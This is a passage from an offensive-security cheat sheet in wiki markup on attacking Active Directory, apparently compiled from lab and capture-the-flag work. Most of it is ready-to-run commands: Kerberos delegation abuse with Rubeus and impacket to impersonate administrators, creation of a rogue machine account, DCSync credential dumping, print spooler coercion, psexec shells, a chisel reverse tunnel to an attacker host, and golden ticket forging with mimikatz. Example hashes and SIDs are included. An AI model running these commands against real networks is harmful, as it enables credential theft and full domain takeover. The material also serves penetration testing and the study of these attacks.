.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:&amp;quot;CIFS/dcorp-mssql.dollarcorp.moneycorp.local&amp;quot; /altservice:HOST /outfile:TGS_administrator_HOST&lt;br /&gt;
# Load ticket in memory&lt;br /&gt;
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Constrained Delegation 2 ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;S4U2Self&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Functionality&#039;&#039;&#039;: Allows a frontend service to request a TGS to the frontend service from a KDC on behalf of the user authenticating against it without needing the user&#039;s password or hash&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage&#039;&#039;&#039;: If &#039;&#039;&#039;TRUSTED_TO_AUTH_FOR_DELEGATION&#039;&#039;&#039; is present in the useraccountcontrol property&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;S4U2Proxy&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Functionality&#039;&#039;&#039;: Requests a service ticket for the backend service on behalf of a user, depending on the service ticket obtained through S4U2Self or directly from a user authentication via Kerberos&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage&#039;&#039;&#039;: Can use a &#039;&#039;&#039;forwardable TGS&#039;&#039;&#039; supplied by the user if Kerberos is used for authentication to the frontend service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# We assume we have compromised a user IISsvc that has these delegation rights&lt;br /&gt;
msds-allowedtodelegateto : {MSSQLSvc/cdc01.prod.corp1.com:1433, MSSQLSvc/cdc01.prod.corp1.com:SQLEXPRESS}&lt;br /&gt;
# First we are going to generate an NTLM hash from the password we compromised&lt;br /&gt;
PS C:\Tools&amp;gt; .\Rubeus.exe hash /password:lab&lt;br /&gt;
# Requesting TGT for IISSvc with the asktgt command by supplying the&lt;br /&gt;
username (/user), domain (/domain), and NTLM hash (/rc4):&lt;br /&gt;
PS C:\Tools&amp;gt; .\Rubeus.exe asktgt /user:iissvc /domain:prod.corp1.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E&lt;br /&gt;
# With the Base64-encoded TGT for IISSvc, we can use Rubeus&#039; s4u command. Provide the TGT using /ticket, the username (e.g., domain admin) with /impersonateuser (utilizing S4U2Self), the service&#039;s SPN with /msdsspn (for S4U2Proxy), and use /ptt to inject it into memory directly.&lt;br /&gt;
PS C:\Tools&amp;gt; .\Rubeus.exe s4u /ticket:doIE+jGGBT... /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /ptt&lt;br /&gt;
# We now have the ticket for the service injected into memory and we can authenticate against MSSQL.&lt;br /&gt;
PS C:\Tools&amp;gt; klist                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Current LogonId is 0:0x2b28f                                                                                                                                                                                                                                                                                                                                                                                                                                                              Cached Tickets: (1)                                                                                                                                                                                                                                                                                                                                                                                                                                                                       #0&amp;gt;     Client: administrator @ PROD.CORP1.COM                                                                                                                                                                                                       Server: mssqlsvc/cdc01.prod.corp1.com:1433 @ PROD.CORP1.COM                                                                                                                                                                                  KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)                                                                                                                                                                                              Ticket Flags 0x40a10000 -&amp;gt; forwardable renewable pre_authent name_canonicalize                                                                                                                                                               Start Time: 10/9/2023 12:42:35 (local)                                                                                                                                                                                                       End Time:   10/9/2023 22:35:29 (local)                                                                                                                                                                                                       Renew Time: 10/16/2023 12:35:29 (local)                                                                                                                                                                                                      Session Key Type: RSADSI RC4-HMAC(NT)                                                                                                                                                                                                        Cache Flags: 0                                                                                                                                                                                                                               Kdc Called:&lt;br /&gt;
.\SQL.exe&lt;br /&gt;
Auth success!&lt;br /&gt;
Logged in as: PROD\Administrator&lt;br /&gt;
...&lt;br /&gt;
# Since we have a ticket in memory for authenticating to mssql, we can use this to get code exectution. https://book.ghanim.no/?page_id=2703#Code_Execution&lt;br /&gt;
&lt;br /&gt;
# ATTACKING using kali and impacket&lt;br /&gt;
# First enumerate domain for constrained delegation using PowerView&lt;br /&gt;
Get-DomainUser -TrustedToAuth&lt;br /&gt;
# Look for&lt;br /&gt;
samaccountname           : iisservice&lt;br /&gt;
...&lt;br /&gt;
msds-allowedtodelegateto : {MSSQLSvc/sql01.domain.com:SQLEXPRESS, MSSQLSvc/sql01.domain.com:1433}&lt;br /&gt;
...&lt;br /&gt;
useraccountcontrol       : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION&lt;br /&gt;
# Constrained delegation is configured for the iisservice account.&lt;br /&gt;
# msds-allowedtodelegateto property contains the SPN of the MS SQL server on SQL01. Indicates that constrained delegation is only allowed to that SQL server.&lt;br /&gt;
# TRUSTED_TO_AUTH_FOR_DELEGATION - Value is used to indicate if a constrained delegation can be used if the authentication between the user and the service uses a different authentication mechanism like NTLM.&lt;br /&gt;
# Request a ticket. If you have a password remove -hashes&lt;br /&gt;
impacket-getTGT domain.com/iisservice -hashes :12bb0b468b42c76d48a3a5ec3b6ce5de&lt;br /&gt;
# Export to KRB5CCNAME&lt;br /&gt;
export KRB5CCNAME=iisservice.ccache&lt;br /&gt;
# iiservice acc is configured with constrained delegation, that means we can request service tickets for other users based on the SPNs set.&lt;br /&gt;
impacket-getST -spn mssqlsvc/sql01.domain.com:1433 -impersonate administrator domain.com/iisservice -k -no-pass&lt;br /&gt;
# Export the administrator ccache to KRB5CCNAME&lt;br /&gt;
export KRB5CCNAME=administrator.ccache&lt;br /&gt;
# Connect to sql01 using kerberos authentication&lt;br /&gt;
impacket-mssqlclient sql01.domain.com -k&lt;br /&gt;
# Or much easier way to obtain code exec if user is SA or DBO is to use MSSQL Pwner&lt;br /&gt;
MSSqlPwner.py sql01.corp.com -k -no-pass interactive&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Resource based Constrained Deleagation ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* RBCD is a security feature introduced in Windows Server 2012 by Microsoft. It&#039;s designed to offer a more secure delegation mechanism, reducing the need for elevated access rights, specifically the SeEnableDelegationPrivilege.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Microsoft&#039;s Extensions - S4U2Self and S4U2Proxy&#039;&#039;&#039;&lt;br /&gt;
Microsoft realized Kerberos needed some help with constrained delegation and the double-hop issue, so they created two add-ons.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;S4U2Self (Extension 1)&#039;&#039;&#039;&lt;br /&gt;
This lets a service prove your identity to another service without needing your password, as if it&#039;s you. It&#039;s like the service can show a digital ID card that says, &amp;quot;Trust me, I&#039;m acting for this user.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;S4U2Proxy (Extension 2)&#039;&#039;&#039;&lt;br /&gt;
After S4U2Self does its job, S4U2Proxy takes over. It allows the first service to talk to the second service on your behalf. It&#039;s as if the service has a special ticket that says, &amp;quot;The user has given me permission to do this.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Concepts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RBCD Configuration&#039;&#039;&#039;: The delegation is controlled by the&#039;&#039;&#039; msDS-AllowedToActOnBehalfOfOtherIdentity&#039;&#039;&#039; property on the backend service.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Advantages&#039;&#039;&#039;: The need for &#039;&#039;&#039;SeEnableDelegationPrivilege&#039;&#039;&#039; permissions is eliminated. Backend service administrators can typically configure RBCD.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Attack Prerequisites&#039;&#039;&#039;: The frontend service must have an SPN set in the domain. While user accounts typically don&#039;t have an SPN set, all computer accounts do.&lt;br /&gt;
&lt;br /&gt;
See notes for Resourced box&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation]&lt;br /&gt;
&lt;br /&gt;
[https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution Kerberos Resource-based Constrained Delegation: Computer Object Takeover - Red Team Notes (ired.team)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The attacker can pass-the-ticket and impersonate the user to gain access to the victim.&lt;br /&gt;
# To check the MachineAccountQuota of the domain you can use:&lt;br /&gt;
Get-DomainObject -Identity &amp;quot;dc=domain,dc=local&amp;quot; -Domain domain.local | select MachineAccountQuota&lt;br /&gt;
# Check if you have GenericWrite on a computer object.&lt;br /&gt;
Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Where-Object { $_.ActiveDirectoryRights -like &#039;*GenericWrite*&#039; }&lt;br /&gt;
&lt;br /&gt;
# From Windows&lt;br /&gt;
# Attack&lt;br /&gt;
# Creating a Computer Object&lt;br /&gt;
# You can create a computer object inside the domain using :&lt;br /&gt;
Import-Module .\powermad.ps1&lt;br /&gt;
New-MachineAccount -MachineAccount FAKECOMPUTER -Password $(ConvertTo-SecureString &#039;123456&#039; -AsPlainText -Force) -Verbose&lt;br /&gt;
Get-DomainComputer FAKECOMPUTER #Check if created if you have powerview&lt;br /&gt;
# Performing a complete S4U attack&lt;br /&gt;
# First of all, we created the new Computer object with the password 123456, so we need the hash of that password:&lt;br /&gt;
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local&lt;br /&gt;
# This will print the RC4 and AES hashes for that account.&lt;br /&gt;
# Now, the attack can be performed. Just use on of the hash types, not all of them :&lt;br /&gt;
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /aes128: /rc4: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt&lt;br /&gt;
# You can generate more tickets just asking once using the /altservice param of Rubeus:&lt;br /&gt;
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt&lt;br /&gt;
### Note that users has an attribute called &amp;quot;Cannot be delegated&amp;quot;. If a user has this attribute to True, you won&#039;t be able to impersonate him . This property can be seen inside bloodhound.&lt;br /&gt;
# Accessing&lt;br /&gt;
# The last command line will perform the complete S4U attack and will inject the TGS from Administrator to the victim host in memory.&lt;br /&gt;
In this example it was requested a TGS for the CIFS service from Administrator, so you will be able to access C$:&lt;br /&gt;
ls \\victim.domain.local\C$&lt;br /&gt;
&lt;br /&gt;
# From Linux&lt;br /&gt;
# METHOD 2 - GETTING A SHELL&lt;br /&gt;
# Create a new machine account on the domain&lt;br /&gt;
impacket-addcomputer resourced.local/l.livingstone -dc-ip 192.168.200.175 -hashes : -computer-name &#039;FAKECOMPUTER$&#039; -computer-pass &#039;123456&#039;&lt;br /&gt;
# Verify that the machine account was added to the domain. Must be done through a shell on the Windows.&lt;br /&gt;
*Evil-WinRM* PS C:\Users\l.livingstone\Documents&amp;gt; Get-ADComputer FAKECOMPUTER&lt;br /&gt;
# Manage delegation rights by using rbcd.py and use it to set msDS-AllowedToActOnBehalfOfOtherIdentity on our new machine account&lt;br /&gt;
https://raw.githubusercontent.com/tothi/rbcd-attack/master/rbcd.py&lt;br /&gt;
python3 rbcd.py -dc-ip 192.168.200.175 -t RESOURCEDC -f &#039;FAKECOMPUTER&#039; -hashes : resourced\\l.livingstone&lt;br /&gt;
# If you have the hash of the user&lt;br /&gt;
impacket-rbcd -action write -delegate-to &amp;quot;BACKUP01$&amp;quot; -delegate-from &amp;quot;FAKECOMPUTER$&amp;quot; resourced.local/l.livingstone -hashes :942f15864b02fdee9f742616ea1eb778&lt;br /&gt;
# Confirm that the action was successful&lt;br /&gt;
*Evil-WinRM* PS C:\Users\L.Livingstone\Documents&amp;gt; Get-adcomputer resourcedc -properties msds-allowedtoactonbehalfofotheridentity |select -expand msds-allowedtoactonbehalfofotheridentity&lt;br /&gt;
# We now need to get the administrator service ticket. We can do this by using impacket-getST with our privileged machine account.&lt;br /&gt;
/usr/bin/impacket-getST -spn cifs/resourcedc.resourced.local resourced/FAKECOMPUTEr$:&#039;123456&#039; -impersonate Administrator -dc-ip 192.168.200.175&lt;br /&gt;
# or&lt;br /&gt;
impacket-getST -spn cifs/resourcedc.resourced.local -impersonate administrator &#039;resourced.local/FAKECOMPUTER$:123456&#039;&lt;br /&gt;
# The ticket is aved on our attacker machine as Administrator.ccache. Export the environment variable named KRB5CCNAME with the location of file&lt;br /&gt;
export KRB5CCNAME=./Administrator.ccache&lt;br /&gt;
# Use psexec to get a shell&lt;br /&gt;
/usr/bin/impacket-psexec -k -no-pass resourcedc.resourced.local -dc-ip 192.168.200.175&lt;br /&gt;
# or&lt;br /&gt;
impacket-psexec administrator@resourcedc.resourced.local -k -no-pass&lt;br /&gt;
&lt;br /&gt;
# From Windows&lt;br /&gt;
# Method 3&lt;br /&gt;
# Enumerate&lt;br /&gt;
PS C:\tools&amp;gt; Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ |&lt;br /&gt;
Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID&lt;br /&gt;
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq&lt;br /&gt;
&amp;quot;$($env:UserDomain\$env:Username)&amp;quot;) {$_}}&lt;br /&gt;
# Creating a New Computer Account:&lt;br /&gt;
# Use the Powermad.ps1 script to create a new computer account named myComputer with the password &#039;h4x&#039;.&lt;br /&gt;
. .\powermad.ps1&lt;br /&gt;
New-MachineAccount -MachineAccount myComputer -Password $(ConvertTo-&lt;br /&gt;
SecureString &#039;h4x&#039; -AsPlainText -Force)&lt;br /&gt;
# Setting up the Security Descriptor:&lt;br /&gt;
# Obtain the SID of the newly created computer account.&lt;br /&gt;
# Create a new security descriptor using the obtained SID.&lt;br /&gt;
$sid =Get-DomainComputer -Identity myComputer -Properties objectsid | Select -Expand objectsid&lt;br /&gt;
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList &amp;quot;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))&amp;quot;&lt;br /&gt;
# Converting the Security Descriptor:&lt;br /&gt;
# Convert the security descriptor into a byte array format suitable for the msDS-AllowedToActOnBehalfOfOtherIdentity property.&lt;br /&gt;
$SDbytes = New-Object byte[] ($SD.BinaryLength)&lt;br /&gt;
$SD.GetBinaryForm($SDbytes,0)&lt;br /&gt;
# Updating the Property:&lt;br /&gt;
# Update the msDS-AllowedToActOnBehalfOfOtherIdentity property of the target computer object (appsrv01).&lt;br /&gt;
Get-DomainComputer -Identity appsrv01 | Set-DomainObject -Set @{&#039;msds-allowedtoactonbehalfofotheridentity&#039;=$SDBytes}&lt;br /&gt;
# Verifying the Setup:&lt;br /&gt;
# Check the security descriptor to ensure it&#039;s set correctly.&lt;br /&gt;
$RBCDbytes = Get-DomainComputer appsrv01 -Properties &#039;msds-allowedtoactonbehalfofotheridentity&#039; | select -expand msds-allowedtoactonbehalfofotheridentity&lt;br /&gt;
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0&lt;br /&gt;
$Descriptor.DiscretionaryAcl&lt;br /&gt;
# Launching the Attack:&lt;br /&gt;
# Obtain the hash of the computer account password using Rubeus.&lt;br /&gt;
.\Rubeus.exe hash /password:h4x&lt;br /&gt;
# Use the S4U extensions with Rubeus to request a TGS for appsrv01, impersonating the administrator.&lt;br /&gt;
.\Rubeus.exe s4u /user:myComputer$ /rc4:AA6EAFB522589934A6E5CE92C6438221&lt;br /&gt;
/impersonateuser:administrator /msdsspn:CIFS/appsrv01.prod.corp1.com /ptt&lt;br /&gt;
# Verifying the Attack:&lt;br /&gt;
# List the service ticket to CIFS on APPSRV01 using klist.&lt;br /&gt;
klist&lt;br /&gt;
# Gaining Access:&lt;br /&gt;
# Access the file services on appsrv01 as the administrator domain admin user.&lt;br /&gt;
dir \\appsrv01.prod.corp1.com\c$&lt;br /&gt;
# Getting shell&lt;br /&gt;
psexec.exe \\appsrv01 cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Using NetExec for S4U2Self and S4U2Proxy ====&lt;br /&gt;
&lt;br /&gt;
New feature in [https://twitter.com/hashtag/NetExec?src=hashtag_click #NetExec] : S4U2Self and S4U2Proxy support and automation with --delegate and --self .&lt;br /&gt;
&lt;br /&gt;
It allows you to abuse KCD with protocol transition and RBCD automatically in NetExec, and use directly all the postex functionalities&lt;br /&gt;
&lt;br /&gt;
[https://twitter.com/_zblurx/status/1720409757175926893 (2) Thomas Seigneuret on X: &amp;quot;New feature in #NetExec : S4U2Self and S4U2Proxy support and automation with --delegate and --self It allows you to abuse KCD with protocol transition and RBCD automatically in NetExec, and use directly all the postex functionalities 🔥 For example with RBCD: https://t.co/1KgFDNcwcc&amp;quot; / X (twitter.com)]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-11-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
It is also possible to use only S4U2Self in order to impersonate any account on a domain joined computer for which you know the credentials:&lt;br /&gt;
&lt;br /&gt;
[[File:2023-11-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Desc from BloodHound ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Full control of a computer object can be used to perform a resource based constrained delegation attack. Abusing this primitive is currently only possible through the Rubeus project.&lt;br /&gt;
# First, if an attacker does not control an account with an SPN set, Kevin Robertson&#039;s Powermad project can be used to add a new attacker-controlled computer account:&lt;br /&gt;
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString &#039;Summer2018!&#039; -AsPlainText -Force)&lt;br /&gt;
# PowerView can be used to then retrieve the security identifier (SID) of the newly created computer account:&lt;br /&gt;
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid&lt;br /&gt;
# We now need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE:&lt;br /&gt;
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList &amp;quot;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))&amp;quot;&lt;br /&gt;
$SDBytes = New-Object byte[] ($SD.BinaryLength)&lt;br /&gt;
$SD.GetBinaryForm($SDBytes, 0)&lt;br /&gt;
# Next, we need to set this newly created security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the comptuer account we&#039;re taking over, again using PowerView in this case:&lt;br /&gt;
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{&#039;msds-allowedtoactonbehalfofotheridentity&#039;=$SDBytes}&lt;br /&gt;
# We can then use Rubeus to hash the plaintext password into its RC4_HMAC form:&lt;br /&gt;
Rubeus.exe hash /password:Summer2018!&lt;br /&gt;
# And finally we can use Rubeus&#039; *s4u* module to get a service ticket for the service name (sname) we want to &amp;quot;pretend&amp;quot; to be &amp;quot;admin&amp;quot; for. This ticket is injected (thanks to /ptt), and in this case grants us access to the file system of the TARGETCOMPUTER:&lt;br /&gt;
Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DCSync ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
impacket-secretsdump domain.com/domainadmin01@dc_IP -hashes :NTLM_HASH -dc-ip DC_IP -outfile dcsync.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ACLs Abuse ==&lt;br /&gt;
&lt;br /&gt;
[https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces]&lt;br /&gt;
&lt;br /&gt;
== Printer Spooler service abuse ==&lt;br /&gt;
&lt;br /&gt;
If the &#039;&#039;&#039;&#039;&#039;Print Spooler&#039;&#039;&#039;&#039;&#039; service is &#039;&#039;&#039;enabled,&#039;&#039;&#039; you can use some already known AD credentials to &#039;&#039;&#039;request&#039;&#039;&#039; to the Domain Controller’s print server an &#039;&#039;&#039;update&#039;&#039;&#039; on new print jobs and just tell it to &#039;&#039;&#039;send the notification to some system&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/printers-spooler-service-abuse https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/printers-spooler-service-abuse]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Finding Windows servers on the domain&lt;br /&gt;
Get-ADComputer -Filter {(OperatingSystem -like &amp;quot;*windows*server*&amp;quot;) -and (OperatingSystem -notlike &amp;quot;2016&amp;quot;) -and (Enabled -eq &amp;quot;True&amp;quot;)} -Properties * | select Name | ft -HideTableHeaders &amp;gt; servers.txt&lt;br /&gt;
&lt;br /&gt;
# Finding spooler services listening&lt;br /&gt;
. .\Get-SpoolStatus.ps1&lt;br /&gt;
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}&lt;br /&gt;
# For linux, use rpcdump.py&lt;br /&gt;
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN&lt;br /&gt;
&lt;br /&gt;
# Ask service to authenticate against an arbitrary host&lt;br /&gt;
# https://github.com/NotMedic/NetNTLMtoSilverTicket&lt;br /&gt;
SpoolSample.exe&lt;br /&gt;
# For linux use&lt;br /&gt;
# https://github.com/NotMedic/NetNTLMtoSilverTicket&lt;br /&gt;
# https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py&lt;br /&gt;
python dementor.py -d domain -u username -p password&lt;br /&gt;
printerbug.py &#039;domain/username:password&#039;@&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Zerologon ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/dirkjanm/CVE-2020-1472&lt;br /&gt;
# https://www.secura.com/blog/zero-logon&lt;br /&gt;
# Bypass authentication and gain administrator-level privileges in a matter of seconds. If vulnerable.&lt;br /&gt;
# Test for zerologon&lt;br /&gt;
https://github.com/SecuraBV/CVE-2020-1472&lt;br /&gt;
# PoC&lt;br /&gt;
https://github.com/dirkjanm/CVE-2020-1472&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Windows Credentials ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?page_id=2703#Windows_Credentials CheatSheet II – Advanced – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Pivoting =&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=2294&lt;br /&gt;
&lt;br /&gt;
== Living Off the Foreign Land == &lt;br /&gt;
https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform&lt;br /&gt;
&lt;br /&gt;
https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform-part-2&lt;br /&gt;
&lt;br /&gt;
https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform-part-3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Tunnelling/ Proxying ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CHISEL AND PROXYCHAINS AND FOXYPROXY&lt;br /&gt;
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 37777 --reverse&lt;br /&gt;
# Target machine&lt;br /&gt;
./chisel client Attacker-IP:37777 R:socks&lt;br /&gt;
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port&lt;br /&gt;
[ProxyList]&lt;br /&gt;
# add proxy here ...&lt;br /&gt;
# meanwile&lt;br /&gt;
# defaults set to &amp;quot;tor&amp;quot;&lt;br /&gt;
socks5  127.0.0.1 1080&lt;br /&gt;
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --&amp;gt; 10.200.57.200 on port 1080 --&amp;gt; 10.200.57.150 (Unreachable from attacker).&lt;br /&gt;
proxychains nc -vn 10.200.57.150 3389&lt;br /&gt;
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).&lt;br /&gt;
proxychains python2 exploit.py.&lt;br /&gt;
# OR by using foxy proxy if I want to access http.&lt;br /&gt;
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).&lt;br /&gt;
# And start foxy proxy. Now I can access the webserver on.&lt;br /&gt;
# I can also use proxychains to access HTTP.&lt;br /&gt;
proxychains firefox.&lt;br /&gt;
# This will open firefox through proxychains.&lt;br /&gt;
-----------------------------------------------&lt;br /&gt;
# SSHUTTLE&lt;br /&gt;
# Simulate a VPN tunnel using sshuttle. Now I can reach other targets, which originally was unreacheable, on the network by going through 172.16.0.5&lt;br /&gt;
sshuttle -r user@172.16.0.5 --ssh-cmd &amp;quot;ssh -i private_key&amp;quot; 172.16.0.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Port Forwarding ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# -L means portforwarding. This will forward port 80 on host 172.16.0.10 to our attacker on port 8000. Can access the port (webserver) by typing localhost:8000.&lt;br /&gt;
ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fN&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Post-exploitation with high privileged account =&lt;br /&gt;
&lt;br /&gt;
Once you get Domain Admin or Enterprise Admin you can dump the domain database: &#039;&#039;&#039;ntds.dit&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#post-exploitation-with-high-privilege-account https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#post-exploitation-with-high-privilege-account]&lt;br /&gt;
&lt;br /&gt;
== Dumping Domain Credentials ==&lt;br /&gt;
&lt;br /&gt;
== Persistence ==&lt;br /&gt;
&lt;br /&gt;
== Golden Ticket ==&lt;br /&gt;
&lt;br /&gt;
=== Golden ticket on one domain ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket]&lt;br /&gt;
&lt;br /&gt;
A valid &#039;&#039;&#039;TGT as any user&#039;&#039;&#039; can be created &#039;&#039;&#039;using the NTLM hash of the krbtgt AD account&#039;&#039;&#039;. The advantage of forging a TGT instead of TGS is being &#039;&#039;&#039;able to access any service&#039;&#039;&#039; (or machine) in the domain and the impersonated user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find domain SID.&lt;br /&gt;
whoami /user # Need to be logged in as a user and not nt authority\system&lt;br /&gt;
# Or use PowerView.ps1&lt;br /&gt;
Get-DomainSID&lt;br /&gt;
# EXAMPLE 1&lt;br /&gt;
# Use mimikatz to generate a golden ticket&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
mimikatz # kerberos::golden /user:alice /domain:svcorp.com /sid:S-1-5-21-466546139-763938477-1796994327 /target:sv-file01.svcorp.com /service:HTTP /rc4:7f004ce6b8f7b2a3b6c477806799b9c0 /ptt&lt;br /&gt;
# EXAMPLE 2&lt;br /&gt;
#mimikatz&lt;br /&gt;
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt&lt;br /&gt;
